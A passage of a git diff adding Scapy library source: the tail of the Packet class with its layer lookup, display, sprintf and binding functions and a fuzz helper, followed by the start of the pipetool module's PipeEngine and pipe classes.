+            return other < self
+        elif isinstance(other, bytes):
+            return 1
+        else:
+            raise TypeError((self, other))
+    def __lt__(self, other):
+        """True if self is an answer from other (other ==> self)."""
+        if isinstance(other, Packet):
+            return self.answers(other)
+        elif isinstance(other, bytes):
+            return 1
+        else:
+            raise TypeError((self, other))
+
+    def __eq__(self, other):
+        if not isinstance(other, self.__class__):
+            return False
+        for f in self.fields_desc:
+            if f not in other.fields_desc:
+                return False
+            if self.getfieldval(f.name) != other.getfieldval(f.name):
+                return False
+        return self.payload == other.payload
+
+    def __ne__(self, other):
+        return not self.__eq__(other)
+
+    def hashret(self):
+        """DEV: returns a string that has the same value for a request and its answer."""
+        return self.payload.hashret()
+    def answers(self, other):
+        """DEV: true if self is an answer from other"""
+        if other.__class__ == self.__class__:
+            return self.payload.answers(other.payload)
+        return 0
+
+    def haslayer(self, cls):
+        """true if self has a layer that is an instance of cls. Superseded by "cls in self" syntax."""
+        if self.__class__ == cls or self.__class__.__name__ == cls:
+            return 1
+        for f in self.packetfields:
+            fvalue_gen = self.getfieldval(f.name)
+            if fvalue_gen is None:
+                continue
+            if not f.islist:
+                fvalue_gen = SetGen(fvalue_gen,_iterpacket=0)
+            for fvalue in fvalue_gen:
+                if isinstance(fvalue, Packet):
+                    ret = fvalue.haslayer(cls)
+                    if ret:
+                        return ret
+        return self.payload.haslayer(cls)
+
+    def getlayer(self, cls, nb=1, _track=None, _subclass=False, **flt):
+        """Return the nb^th layer that is an instance of cls, matching flt
+values.
+
+        """
+        if _subclass:
+            match = lambda cls1, cls2: issubclass(cls1, cls2)
+        else:
+            match = lambda cls1, cls2: cls1 == cls2
+        if isinstance(cls, int):
+            nb = cls+1
+            cls = None
+        if isinstance(cls, str) and "." in cls:
+            ccls,fld = cls.split(".",1)
+        else:
+            ccls,fld = cls,None
+        if cls is None or match(self.__class__, cls) or self.__class__.__name__ == ccls:
+            if all(self.getfieldval(fldname) == fldvalue
+                   for fldname, fldvalue in six.iteritems(flt)):
+                if nb == 1:
+                    if fld is None:
+                        return self
+                    else:
+                        return self.getfieldval(fld)
+                else:
+                    nb -=1
+        for f in self.packetfields:
+            fvalue_gen = self.getfieldval(f.name)
+            if fvalue_gen is None:
+                continue
+            if not f.islist:
+                fvalue_gen = SetGen(fvalue_gen,_iterpacket=0)
+            for fvalue in fvalue_gen:
+                if isinstance(fvalue, Packet):
+                    track=[]
+                    ret = fvalue.getlayer(cls, nb=nb, _track=track,
+                                          _subclass=_subclass)
+                    if ret is not None:
+                        return ret
+                    nb = track[0]
+        return self.payload.getlayer(cls, nb=nb, _track=_track,
+                                     _subclass=_subclass, **flt)
+
+    def firstlayer(self):
+        q = self
+        while q.underlayer is not None:
+            q = q.underlayer
+        return q
+
+    def __getitem__(self, cls):
+        if isinstance(cls, slice):
+            lname = cls.start
+            if cls.stop:
+                ret = self.getlayer(cls.start, nb=cls.stop, **(cls.step or {}))
+            else:
+                ret = self.getlayer(cls.start, **(cls.step or {}))
+        else:
+            lname = cls
+            ret = self.getlayer(cls)
+        if ret is None:
+            if isinstance(lname, Packet_metaclass):
+                lname = lname.__name__
+            elif not isinstance(lname, bytes):
+                lname = repr(lname)
+            raise IndexError("Layer [%s] not found" % lname)
+        return ret
+
+    def __delitem__(self, cls):
+        del(self[cls].underlayer.payload)
+
+    def __setitem__(self, cls, val):
+        self[cls].underlayer.payload = val
+    
+    def __contains__(self, cls):
+        """"cls in self" returns true if self has a layer which is an instance of cls."""
+        return self.haslayer(cls)
+
+    def route(self):
+        return (None,None,None)
+
+    def fragment(self, *args, **kargs):
+        return self.payload.fragment(*args, **kargs)
+    
+
+    def display(self,*args,**kargs):  # Deprecated. Use show()
+        """Deprecated. Use show() method."""
+        self.show(*args,**kargs)
+    
+    def _show_or_dump(self, dump=False, indent=3, lvl="", label_lvl="", first_call=True):
+        """
+        Internal method that shows or dumps a hierarchical view of a packet.
+        Called by show.
+
+        :param dump: determine if it prints or returns the string value
+        :param int indent: the size of indentation for each layer
+        :param str lvl: additional information about the layer lvl
+        :param str label_lvl: additional information about the layer fields
+        :param first_call: determine if the current function is the first
+        :return: return a hierarchical view if dump, else print it
+        """
+
+        if dump:
+            from scapy.themes import AnsiColorTheme
+            ct = AnsiColorTheme() # No color for dump output
+        else:
+            ct = conf.color_theme
+        s = "%s%s %s %s \n" % (label_lvl,
+                              ct.punct("###["),
+                              ct.layer_name(self.name),
+                              ct.punct("]###"))
+        for f in self.fields_desc:
+            if isinstance(f, ConditionalField) and not f._evalcond(self):
+                continue
+            if isinstance(f, Emph) or f in conf.emph:
+                ncol = ct.emph_field_name
+                vcol = ct.emph_field_value
+            else:
+                ncol = ct.field_name
+                vcol = ct.field_value
+            fvalue = self.getfieldval(f.name)
+            if isinstance(fvalue, Packet) or (f.islist and f.holds_packets and isinstance(fvalue, list)):
+                s += "%s  \\%-10s\\\n" % (label_lvl+lvl, ncol(f.name))
+                fvalue_gen = SetGen(fvalue,_iterpacket=0)
+                for fvalue in fvalue_gen:
+                    s += fvalue._show_or_dump(dump=dump, indent=indent, label_lvl=label_lvl+lvl+"   |", first_call=False)
+            else:
+                begn = "%s  %-10s%s " % (label_lvl+lvl,
+                                        ncol(f.name),
+                                        ct.punct("="),)
+                reprval = f.i2repr(self,fvalue)
+                if isinstance(reprval, str):
+                    reprval = reprval.replace("\n", "\n"+" "*(len(label_lvl)
+                                                              +len(lvl)
+                                                              +len(f.name)
+                                                              +4))
+                s += "%s%s\n" % (begn,vcol(reprval))
+        if self.payload:
+            s += self.payload._show_or_dump(dump=dump, indent=indent, lvl=lvl+(" "*indent*self.show_indent), label_lvl=label_lvl, first_call=False)
+
+        if first_call and not dump:
+            print(s)
+        else:
+            return s
+
+    def show(self, dump=False, indent=3, lvl="", label_lvl=""):
+        """
+        Prints or returns (when "dump" is true) a hierarchical view of the
+        packet.
+
+        :param dump: determine if it prints or returns the string value
+        :param int indent: the size of indentation for each layer
+        :param str lvl: additional information about the layer lvl
+        :param str label_lvl: additional information about the layer fields
+        :return: return a hierarchical view if dump, else print it
+        """
+        return self._show_or_dump(dump, indent, lvl, label_lvl)
+
+    def show2(self, dump=False, indent=3, lvl="", label_lvl=""):
+        """
+        Prints or returns (when "dump" is true) a hierarchical view of an
+        assembled version of the packet, so that automatic fields are
+        calculated (checksums, etc.)
+
+        :param dump: determine if it prints or returns the string value
+        :param int indent: the size of indentation for each layer
+        :param str lvl: additional information about the layer lvl
+        :param str label_lvl: additional information about the layer fields
+        :return: return a hierarchical view if dump, else print it
+        """
+        return self.__class__(raw(self)).show(dump, indent, lvl, label_lvl)
+
+    def sprintf(self, fmt, relax=1):
+        """sprintf(format, [relax=1]) -> str
+where format is a string that can include directives. A directive begins and
+ends by % and has the following format %[fmt[r],][cls[:nb].]field%.
+
+fmt is a classic printf directive, "r" can be appended for raw substitution
+(ex: IP.flags=0x18 instead of SA), nb is the number of the layer we want
+(ex: for IP/IP packets, IP:2.src is the src of the upper IP layer).
+Special case : "%.time%" is the creation time.
+Ex : p.sprintf("%.time% %-15s,IP.src% -> %-15s,IP.dst% %IP.chksum% "
+               "%03xr,IP.proto% %r,TCP.flags%")
+
+Moreover, the format string can include conditional statements. A conditional
+statement looks like : {layer:string} where layer is a layer name, and string
+is the string to insert in place of the condition if it is true, i.e. if layer
+is present. If layer is preceded by a "!", the result is inverted. Conditions
+can be imbricated. A valid statement can be :
+  p.sprintf("This is a{TCP: TCP}{UDP: UDP}{ICMP:n ICMP} packet")
+  p.sprintf("{IP:%IP.dst% {ICMP:%ICMP.type%}{TCP:%TCP.dport%}}")
+
+A side effect is that, to obtain "{" and "}" characters, you must use
+"%(" and "%)".
+"""
+
+        escape = { "%": "%",
+                   "(": "{",
+                   ")": "}" }
+
+
+        # Evaluate conditions 
+        while "{" in fmt:
+            i = fmt.rindex("{")
+            j = fmt[i+1:].index("}")
+            cond = fmt[i+1:i+j+1]
+            k = cond.find(":")
+            if k < 0:
+                raise Scapy_Exception("Bad condition in format string: [%s] (read sprintf doc!)"%cond)
+            cond,format = cond[:k],cond[k+1:]
+            res = False
+            if cond[0] == "!":
+                res = True
+                cond = cond[1:]
+            if self.haslayer(cond):
+                res = not res
+            if not res:
+                format = ""
+            fmt = fmt[:i]+format+fmt[i+j+2:]
+
+        # Evaluate directives
+        s = ""
+        while "%" in fmt:
+            i = fmt.index("%")
+            s += fmt[:i]
+            fmt = fmt[i+1:]
+            if fmt and fmt[0] in escape:
+                s += escape[fmt[0]]
+                fmt = fmt[1:]
+                continue
+            try:
+                i = fmt.index("%")
+                sfclsfld = fmt[:i]
+                fclsfld = sfclsfld.split(",")
+                if len(fclsfld) == 1:
+                    f = "s"
+                    clsfld = fclsfld[0]
+                elif len(fclsfld) == 2:
+                    f,clsfld = fclsfld
+                else:
+                    raise Scapy_Exception
+                if "." in clsfld:
+                    cls,fld = clsfld.split(".")
+                else:
+                    cls = self.__class__.__name__
+                    fld = clsfld
+                num = 1
+                if ":" in cls:
+                    cls,num = cls.split(":")
+                    num = int(num)
+                fmt = fmt[i+1:]
+            except:
+                raise Scapy_Exception("Bad format string [%%%s%s]" % (fmt[:25], fmt[25:] and "..."))
+            else:
+                if fld == "time":
+                    val = time.strftime("%H:%M:%S.%%06i", time.localtime(self.time)) % int((self.time-int(self.time))*1000000)
+                elif cls == self.__class__.__name__ and hasattr(self, fld):
+                    if num > 1:
+                        val = self.payload.sprintf("%%%s,%s:%s.%s%%" % (f,cls,num-1,fld), relax)
+                        f = "s"
+                    elif f[-1] == "r":  # Raw field value
+                        val = getattr(self,fld)
+                        f = f[:-1]
+                        if not f:
+                            f = "s"
+                    else:
+                        val = getattr(self,fld)
+                        if fld in self.fieldtype:
+                            val = self.fieldtype[fld].i2repr(self,val)
+                else:
+                    val = self.payload.sprintf("%%%s%%" % sfclsfld, relax)
+                    f = "s"
+                s += ("%"+f) % val
+            
+        s += fmt
+        return s
+
+    def mysummary(self):
+        """DEV: can be overloaded to return a string that summarizes the layer.
+           Only one mysummary() is used in a whole packet summary: the one of the upper layer,
+           except if a mysummary() also returns (as a couple) a list of layers whose
+           mysummary() must be called if they are present."""
+        return ""
+
+    def _do_summary(self):
+        found, s, needed = self.payload._do_summary()
+        ret = ""
+        if not found or self.__class__ in needed:
+            ret = self.mysummary()
+            if isinstance(ret, tuple):
+                ret,n = ret
+                needed += n
+        if ret or needed:
+            found = 1
+        if not ret:
+            ret = self.__class__.__name__ if self.show_summary else ""
+        if self.__class__ in conf.emph:
+            impf = []
+            for f in self.fields_desc:
+                if f in conf.emph:
+                    impf.append("%s=%s" % (f.name, f.i2repr(self, self.getfieldval(f.name))))
+            ret = "%s [%s]" % (ret," ".join(impf))
+        if ret and s:
+            ret = "%s / %s" % (ret, s)
+        else:
+            ret = "%s%s" % (ret,s)
+        return found,ret,needed
+
+    def summary(self, intern=0):
+        """Prints a one line summary of a packet."""
+        found,s,needed = self._do_summary()
+        return s
+
+    
+    def lastlayer(self,layer=None):
+        """Returns the uppest layer of the packet"""
+        return self.payload.lastlayer(self)
+
+    def decode_payload_as(self,cls):
+        """Reassembles the payload and decode it using another packet class"""
+        s = raw(self.payload)
+        self.payload = cls(s, _internal=1, _underlayer=self)
+        pp = self
+        while pp.underlayer is not None:
+            pp = pp.underlayer
+        self.payload.dissection_done(pp)
+
+    def command(self):
+        """Returns a string representing the command you have to type to obtain the same packet"""
+        f = []
+        for fn,fv in self.fields.items():
+            fld = self.get_field(fn)
+            if isinstance(fv, Packet):
+                fv = fv.command()
+            elif fld.islist and fld.holds_packets and isinstance(fv, list):
+                fv = "[%s]" % ",".join( map(Packet.command, fv))
+            elif isinstance(fld, FlagsField):
+                fv = int(fv)
+            else:
+                fv = repr(fv)
+            f.append("%s=%s" % (fn, fv))
+        c = "%s(%s)" % (self.__class__.__name__, ", ".join(f))
+        pc = self.payload.command()
+        if pc:
+            c += "/"+pc
+        return c                    
+
+class NoPayload(Packet):
+    def __new__(cls, *args, **kargs):
+        singl = cls.__dict__.get("__singl__")
+        if singl is None:
+            cls.__singl__ = singl = Packet.__new__(cls)
+            Packet.__init__(singl)
+        return singl
+    def __init__(self, *args, **kargs):
+        pass
+    def dissection_done(self,pkt):
+        return
+    def add_payload(self, payload):
+        raise Scapy_Exception("Can't add payload to NoPayload instance")
+    def remove_payload(self):
+        pass
+    def add_underlayer(self,underlayer):
+        pass
+    def remove_underlayer(self,other):
+        pass
+    def copy(self):
+        return self
+    def __repr__(self):
+        return ""
+    def __str__(self):
+        return ""
+    def __bytes__(self):
+        return b""
+    def __nonzero__(self):
+        return False
+    __bool__ = __nonzero__
+    def do_build(self):
+        return b""
+    def build(self):
+        return b""
+    def build_padding(self):
+        return b""
+    def build_done(self, p):
+        return p
+    def build_ps(self, internal=0):
+        return b"",[]
+    def getfieldval(self, attr):
+        raise AttributeError(attr)
+    def getfield_and_val(self, attr):
+        raise AttributeError(attr)
+    def setfieldval(self, attr, val):
+        raise AttributeError(attr)
+    def delfieldval(self, attr):
+        raise AttributeError(attr)
+    def hide_defaults(self):
+        pass
+    def __iter__(self):
+        return iter([])
+    def __eq__(self, other):
+        if isinstance(other, NoPayload):
+            return True
+        return False
+    def hashret(self):
+        return b""
+    def answers(self, other):
+        return isinstance(other, NoPayload) or isinstance(other, conf.padding_layer)
+    def haslayer(self, cls):
+        return 0
+    def getlayer(self, cls, nb=1, _track=None, **flt):
+        if _track is not None:
+            _track.append(nb)
+        return None
+    def fragment(self, *args, **kargs):
+        raise Scapy_Exception("cannot fragment this packet")        
+    def show(self, indent=3, lvl="", label_lvl=""):
+        pass
+    def sprintf(self, fmt, relax):
+        if relax:
+            return "??"
+        else:
+            raise Scapy_Exception("Format not found [%s]"%fmt)
+    def _do_summary(self):
+        return 0,"",[]
+    def lastlayer(self,layer):
+        return layer
+    def command(self):
+        return ""
+    
+####################
+## packet classes ##
+####################
+
+            
+class Raw(Packet):
+    name = "Raw"
+    fields_desc = [ StrField("load", "") ]
+    def answers(self, other):
+        return 1
+#        s = raw(other)
+#        t = self.load
+#        l = min(len(s), len(t))
+#        return  s[:l] == t[:l]
+    def mysummary(self):
+        cs = conf.raw_summary
+        if cs:
+            if callable(cs):
+                return "Raw %s" % cs(self.load)
+            else:
+                return "Raw %r" % self.load
+        return Packet.mysummary(self)
+        
+class Padding(Raw):
+    name = "Padding"
+    def self_build(self):
+        return b""
+    def build_padding(self):
+        return (raw(self.load) if self.raw_packet_cache is None
+                else self.raw_packet_cache) + self.payload.build_padding()
+
+conf.raw_layer = Raw
+conf.padding_layer = Padding
+if conf.default_l2 is None:
+    conf.default_l2 = Raw
+
+#################
+## Bind layers ##
+#################
+
+
+def bind_bottom_up(lower, upper, __fval=None, **fval):
+    if __fval is not None:
+        fval.update(__fval)
+    lower.payload_guess = lower.payload_guess[:]
+    lower.payload_guess.append((fval, upper))
+    
+
+def bind_top_down(lower, upper, __fval=None, **fval):
+    if __fval is not None:
+        fval.update(__fval)
+    upper._overload_fields = upper._overload_fields.copy()
+    upper._overload_fields[lower] = fval
+    
+@conf.commands.register
+def bind_layers(lower, upper, __fval=None, **fval):
+    """Bind 2 layers on some specific fields' values"""
+    if __fval is not None:
+        fval.update(__fval)
+    bind_top_down(lower, upper, **fval)
+    bind_bottom_up(lower, upper, **fval)
+
+def split_bottom_up(lower, upper, __fval=None, **fval):
+    if __fval is not None:
+        fval.update(__fval)
+    def do_filter(xxx_todo_changeme,upper=upper,fval=fval):
+        (f,u) = xxx_todo_changeme
+        if u != upper:
+            return True
+        for k in fval:
+            if k not in f or f[k] != fval[k]:
+                return True
+        return False
+    lower.payload_guess = [x for x in lower.payload_guess if do_filter(x)]
+        
+def split_top_down(lower, upper, __fval=None, **fval):
+    if __fval is not None:
+        fval.update(__fval)
+    if lower in upper._overload_fields:
+        ofval = upper._overload_fields[lower]
+        for k in fval:
+            if k not in ofval or ofval[k] != fval[k]:
+                return
+        upper._overload_fields = upper._overload_fields.copy()
+        del(upper._overload_fields[lower])
+
+@conf.commands.register
+def split_layers(lower, upper, __fval=None, **fval):
+    """Split 2 layers previously bound"""
+    if __fval is not None:
+        fval.update(__fval)
+    split_bottom_up(lower, upper, **fval)
+    split_top_down(lower, upper, **fval)
+
+
+@conf.commands.register
+def ls(obj=None, case_sensitive=False, verbose=False):
+    """List  available layers, or infos on a given layer class or name"""
+    is_string = isinstance(obj, six.string_types)
+
+    if obj is None or is_string:
+        if obj is None:
+            all_layers = sorted(conf.layers, key=lambda x: x.__name__)
+        else:
+            pattern = re.compile(obj, 0 if case_sensitive else re.I)
+            all_layers = sorted((layer for layer in conf.layers
+                                if (pattern.search(layer.__name__ or '')
+                                    or pattern.search(layer.name or ''))),
+                                key=lambda x: x.__name__)
+        for layer in all_layers:
+            print("%-10s : %s" % (layer.__name__, layer._name))
+
+    else:
+        is_pkt = isinstance(obj, Packet)
+        if (isinstance(obj, type) and issubclass(obj, Packet)) or is_pkt:
+            for f in obj.fields_desc:
+                cur_fld = f
+                attrs = []
+                long_attrs = []
+                while isinstance(cur_fld, (Emph, ConditionalField)):
+                    if isinstance(cur_fld, ConditionalField):
+                        attrs.append(cur_fld.__class__.__name__[:4])
+                    cur_fld = cur_fld.fld
+                if verbose and isinstance(cur_fld, EnumField) \
+                   and hasattr(cur_fld, "i2s"):
+                    if len(cur_fld.i2s) < 50:
+                        long_attrs.extend(
+                            "%s: %d" % (strval, numval)
+                            for numval, strval in
+                            sorted(six.iteritems(cur_fld.i2s))
+                        )
+                elif isinstance(cur_fld, MultiEnumField):
+                    fld_depend = cur_fld.depends_on(obj.__class__
+                                                    if is_pkt else obj)
+                    attrs.append("Depends on %s" % fld_depend.name)
+                    if verbose:
+                        cur_i2s = cur_fld.i2s_multi.get(
+                            cur_fld.depends_on(obj if is_pkt else obj()), {}
+                        )
+                        if len(cur_i2s) < 50:
+                            long_attrs.extend(
+                                "%s: %d" % (strval, numval)
+                                for numval, strval in
+                                sorted(six.iteritems(cur_i2s))
+                            )
+                elif verbose and isinstance(cur_fld, FlagsField):
+                    names = cur_fld.names
+                    long_attrs.append(", ".join(names))
+                class_name = "%s (%s)" % (
+                    cur_fld.__class__.__name__,
+                    ", ".join(attrs)) if attrs else cur_fld.__class__.__name__
+                if isinstance(cur_fld, BitField):
+                    class_name += " (%d bit%s)" % (cur_fld.size,
+                                                   "s" if cur_fld.size > 1
+                                                   else "")
+                print("%-10s : %-35s =" % (f.name, class_name), end=' ')
+                if is_pkt:
+                    print("%-15r" % (getattr(obj, f.name),), end=' ')
+                print("(%r)" % (f.default,))
+                for attr in long_attrs:
+                    print("%-15s%s" % ("", attr))
+            if is_pkt and not isinstance(obj.payload, NoPayload):
+                print("--")
+                ls(obj.payload)
+
+        else:
+            print("Not a packet class or name. Type 'ls()' to list packet classes.")
+
+
+    
+#############
+## Fuzzing ##
+#############
+
+@conf.commands.register
+def fuzz(p, _inplace=0):
+    """Transform a layer into a fuzzy layer by replacing some default values by random objects"""
+    if not _inplace:
+        p = p.copy()
+    q = p
+    while not isinstance(q, NoPayload):
+        for f in q.fields_desc:
+            if isinstance(f, PacketListField):
+                for r in getattr(q, f.name):
+                    print("fuzzing", repr(r))
+                    fuzz(r, _inplace=1)
+            elif f.default is not None:
+                if not isinstance(f, ConditionalField) or f._evalcond(q):
+                    rnd = f.randval()
+                    if rnd is not None:
+                        q.default_fields[f.name] = rnd
+        q = q.payload
+    return p
+
+
+
diff --git a/scapy/pipetool.py b/scapy/pipetool.py
new file mode 100644
index 0000000..d756ae2
--- /dev/null
+++ b/scapy/pipetool.py
@@ -0,0 +1,640 @@
+#! /usr/bin/env python
+
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+from __future__ import print_function
+import os
+import subprocess
+import itertools
+import collections
+import time
+import scapy.modules.six as six
+from threading import Lock, Thread
+import scapy.utils
+
+from scapy.automaton import Message, select_objects, SelectableObject
+from scapy.consts import WINDOWS
+from scapy.error import log_interactive, warning
+from scapy.config import conf
+from scapy.utils import get_temp_file, do_graph
+
+import scapy.arch
+
+class PipeEngine(SelectableObject):
+    pipes = {}
+    @classmethod
+    def list_pipes(cls):
+        for pn,pc in sorted(cls.pipes.items()):
+            doc = pc.__doc__ or ""
+            if doc:
+                doc = doc.splitlines()[0]
+            print("%20s: %s" % (pn, doc))
+    @classmethod
+    def list_pipes_detailed(cls):
+        for pn,pc in sorted(cls.pipes.items()):
+            if pc.__doc__:
+                print("###### %s\n %s" % (pn ,pc.__doc__))
+            else:
+                print("###### %s" % pn)
+    
+    def __init__(self, *pipes):
+        self.active_pipes = set()
+        self.active_sources = set()
+        self.active_drains = set()
+        self.active_sinks = set()
+        self._add_pipes(*pipes)
+        self.thread_lock = Lock()
+        self.command_lock = Lock()
+        self.__fd_queue = collections.deque()
+        self.__fdr,self.__fdw = os.pipe()
+        self.thread = None
+    def __getattr__(self, attr):
+        if attr.startswith("spawn_"):
+            dname = attr[6:]
+            if dname in self.pipes:
+                def f(*args, **kargs):
+                    k = self.pipes[dname]
+                    p = k(*args, **kargs)
+                    self.add(p)
+                    return p
+                return f
+        raise AttributeError(attr)
+
+    def check_recv(self):
+        """As select.select is not available, we check if there
+        is some data to read by using a list that stores pointers."""
+        return len(self.__fd_queue) > 0
+
+    def fileno(self):
+        return self.__fdr
+
+    def _read_cmd(self):
+        os.read(self.__fdr,1)
+        return self.__fd_queue.popleft()
+
+    def _write_cmd(self, _cmd):
+        self.__fd_queue.append(_cmd)
+        os.write(self.__fdw, b"X")
+        self.call_release()
+
+    def add_one_pipe(self, pipe):
+        self.active_pipes.add(pipe)
+        if isinstance(pipe, Source):
+            self.active_sources.add(pipe)
+        if isinstance(pipe, Drain):
+            self.active_drains.add(pipe)
+        if isinstance(pipe, Sink):
+            self.active_sinks.add(pipe)
+
+    def get_pipe_list(self, pipe):
+        def flatten(p, l):
+            l.add(p)
+            for q in p.sources|p.sinks|p.high_sources|p.high_sinks:
+                if q not in l:
+                    flatten(q, l)
+        pl = set()
+        flatten(pipe, pl)
+        return pl
+
+    def _add_pipes(self, *pipes):
+        pl = set()
+        for p in pipes:
+            pl |= self.get_pipe_list(p)
+        pl -= self.active_pipes
+        for q in pl:
+            self.add_one_pipe(q)
+        return pl
+            
+
+    def run(self):
+        log_interactive.info("Pipe engine thread started.")
+        try:
+            for p in self.active_pipes:
+                p.start()
+            sources = self.active_sources
+            sources.add(self)
+            exhausted = set([])
+            RUN=True
+            STOP_IF_EXHAUSTED = False
+            while RUN and (not STOP_IF_EXHAUSTED or len(sources) > 1):
+                fds = select_objects(sources, 2)
+                for fd in fds:
+                    if fd is self:
+                        cmd = self._read_cmd()
+                        if cmd == "X":
+                            RUN=False
+                            break
+                        elif cmd == "B":
+                            STOP_IF_EXHAUSTED = True
+                        elif cmd == "A":
+                            sources = self.active_sources-exhausted
+                            sources.add(self)
+                        else:
+                            warning("Unknown internal pipe engine command: %r. Ignoring." % cmd)
+                    elif fd in sources:
+                        try:
+                            fd.deliver()
+                        except Exception as e:
+                            log_interactive.exception("piping from %s failed: %s" % (fd.name, e))
+                        else:
+                            if fd.exhausted():
+                                exhausted.add(fd)
+                                sources.remove(fd)
+        except KeyboardInterrupt:
+            pass
+        finally:
+            try:
+                for p in self.active_pipes:
+                    p.stop()
+            finally:
+                self.thread_lock.release()
+                log_interactive.info("Pipe engine thread stopped.")
+
+    def start(self):
+        if self.thread_lock.acquire(0):
+            _t = Thread(target=self.run)
+            _t.setDaemon(True)
+            _t.start()
+            self.thread = _t
+        else:
+            warning("Pipe engine already running")
+    def wait_and_stop(self):
+        self.stop(_cmd="B")
+    def stop(self, _cmd="X"):
+        try:
+            with self.command_lock:
+                if self.thread is not None:
+                    self._write_cmd(_cmd)
+                    self.thread.join()
+                    try:
+                        self.thread_lock.release()
+                    except:
+                        pass
+                else:
+                    warning("Pipe engine thread not running")
+        except KeyboardInterrupt:
+            print("Interrupted by user.")
+
+    def add(self, *pipes):
+        pipes = self._add_pipes(*pipes)
+        with self.command_lock:
+            if self.thread is not None:
+                for p in pipes:
+                    p.start()
+                self._write_cmd("A")
+    
+    def graph(self,**kargs):
+        g=['digraph "pipe" {',"\tnode [shape=rectangle];",]
+        for p in self.active_pipes:
+            g.append('\t"%i" [label="%s"];' % (id(p), p.name))
+        g.append("")
+        g.append("\tedge [color=blue, arrowhead=vee];")
+        for p in self.active_pipes:
+            for q in p.sinks:
+                g.append('\t"%i" -> "%i";' % (id(p), id(q)))
+        g.append("")
+        g.append("\tedge [color=purple, arrowhead=veevee];")
+        for p in self.active_pipes:
+            for q in p.high_sinks:
+                g.append('\t"%i" -> "%i";' % (id(p), id(q)))
+        g.append("")
+        g.append("\tedge [color=red, arrowhead=diamond];")
+        for p in self.active_pipes:
+            for q in p.trigger_sinks:
+                g.append('\t"%i" -> "%i";' % (id(p), id(q)))
+        g.append('}')
+        graph = "\n".join(g)
+        do_graph(graph, **kargs) 
+
+
+class _ConnectorLogic(object):
+    def __init__(self):
+        self.sources = set()
+        self.sinks = set()
+        self.high_sources = set()
+        self.high_sinks = set()
+        self.trigger_sources = set()
+        self.trigger_sinks = set()
+
+    def __lt__(self, other):
+        other.sinks.add(self)
+        self.sources.add(other)
+        return other
+    def __gt__(self, other):
+        self.sinks.add(other)
+        other.sources.add(self)
+        return other
+    def __eq__(self, other):
+        self > other
+        other > self
+        return other
+
+    def __lshift__(self, other):
+        self.high_sources.add(other)
+        other.high_sinks.add(self)
+        return other
+    def __rshift__(self, other):
+        self.high_sinks.add(other)
+        other.high_sources.add(self)
+        return other
+    def __floordiv__(self, other):
+        self >> other
+        other >> self
+        return other
+
+    def __xor__(self, other):
+        self.trigger_sinks.add(other)
+        other.trigger_sources.add(self)
+        return other
+
+    def __hash__(self):
+        return object.__hash__(self)
+
+class _PipeMeta(type):
+    def __new__(cls, name, bases, dct):
+        c = type.__new__(cls, name, bases, dct)
+        PipeEngine.pipes[name] = c
+        return c
+
+class Pipe(six.with_metaclass(_PipeMeta, _ConnectorLogic)):
+    def __init__(self, name=None):
+        _ConnectorLogic.__init__(self)
+        if name is None:
+            name = "%s" % (self.__class__.__name__)
+        self.name = name
+    def _send(self, msg):
+        for s in self.sinks:
+            s.push(msg)
+    def _high_send(self, msg):
+        for s in self.high_sinks:
+            s.high_push(msg)
+    def _trigger(self, msg=None):
+        for s in self.trigger_sinks:
+            s.on_trigger(msg)
+
+    def __repr__(self):
+        ct = conf.color_theme
+        s = "%s%s" % (ct.punct("<"), ct.layer_name(self.name))
+        if self.sources or self.sinks:
+            s+= " %s" % ct.punct("[")
+            if self.sources:
+                s+="%s%s" %  (ct.punct(",").join(ct.field_name(s.name) for s in self.sources),
+                              ct.field_value(">"))
+            s += ct.layer_name("#")
+            if self.sinks:
+                s+="%s%s" % (ct.field_value(">"),
+                             ct.punct(",").join(ct.field_name(s.name) for s in self.sinks))
+            s += ct.punct("]")
+
+        if self.high_sources or self.high_sinks:
+            s+= " %s" % ct.punct("[")
+            if self.high_sources:
+                s+="%s%s" %  (ct.punct(",").join(ct.field_name(s.name) for s in self.high_sources),
+                              ct.field_value(">>"))
+            s += ct.layer_name("#")
+            if self.high_sinks:
+                s+="%s%s" % (ct.field_value(">>"),
+                             ct.punct(",").join(ct.field_name(s.name) for s in self.high_sinks))
+            s += ct.punct("]")
+
+        if self.trigger_sources or self.trigger_sinks:
+            s+= " %s" % ct.punct("[")
+            if self.trigger_sources:
+                s+="%s%s" %  (ct.punct(",").join(ct.field_name(s.name) for s in self.trigger_sources),
+                              ct.field_value("^"))
+            s += ct.layer_name("#")
+            if self.trigger_sinks:
+                s+="%s%s" % (ct.field_value("^"),
+                             ct.punct(",").join(ct.field_name(s.name) for s in self.trigger_sinks))
+            s += ct.punct("]")
+
+
+        s += ct.punct(">")
+        return s
+
+class Source(Pipe, SelectableObject):
+    def __init__(self, name=None):
+        Pipe.__init__(self, name=name)
+        self.is_exhausted = False
+    def _read_message(self):
+        return Message()
+    def deliver(self):
+        msg = self._read_message
+        self._send(msg)
+    def fileno(self):
+        return None
+    def check_recv(self):
+        return False
+    def exhausted(self):
+        return self.is_exhausted
+    def start(self):
+        pass
+    def stop(self):
+        pass
+
+class Drain(Pipe):
+    """Repeat messages from low/high entries to (resp.) low/high exits
+     +-------+
+  >>-|-------|->>
+     |       |
+   >-|-------|->
+     +-------+
+"""
+    def push(self, msg):
+        self._send(msg)
+    def high_push(self, msg):
+        self._high_send(msg)
+    def start(self):
+        pass
+    def stop(self):
+        pass
+
+class Sink(Pipe):
+    def push(self, msg):
+        pass
+    def high_push(self, msg):
+        pass
+    def start(self):
+        pass
+    def stop(self):
+        pass
+
+
+class AutoSource(Source, SelectableObject):
+    def __init__(self, name=None):
+        Source.__init__(self, name=name)
+        self.__fdr,self.__fdw = os.pipe()
+        self._queue = collections.deque()
+    def fileno(self):
+        return self.__fdr
+    def check_recv(self):
+        return len(self._queue) > 0
+    def _gen_data(self, msg):
+        self._queue.append((msg,False))
+        self._wake_up()
+    def _gen_high_data(self, msg):
+        self._queue.append((msg,True))
+        self._wake_up()
+    def _wake_up(self):
+        os.write(self.__fdw, b"X")
+        self.call_release()
+    def deliver(self):
+        os.read(self.__fdr,1)
+        try:
+            msg,high = self._queue.popleft()
+        except IndexError: #empty queue. Exhausted source
+            pass
+        else:
+            if high:
+                self._high_send(msg)
+            else:
+                self._send(msg)
+
+class ThreadGenSource(AutoSource):
+    def __init__(self, name=None):
+        AutoSource.__init__(self, name=name)
+        self.RUN = False
+    def generate(self):
+        pass
+    def start(self):
+        self.RUN = True
+        Thread(target=self.generate).start()
+    def stop(self):
+        self.RUN = False
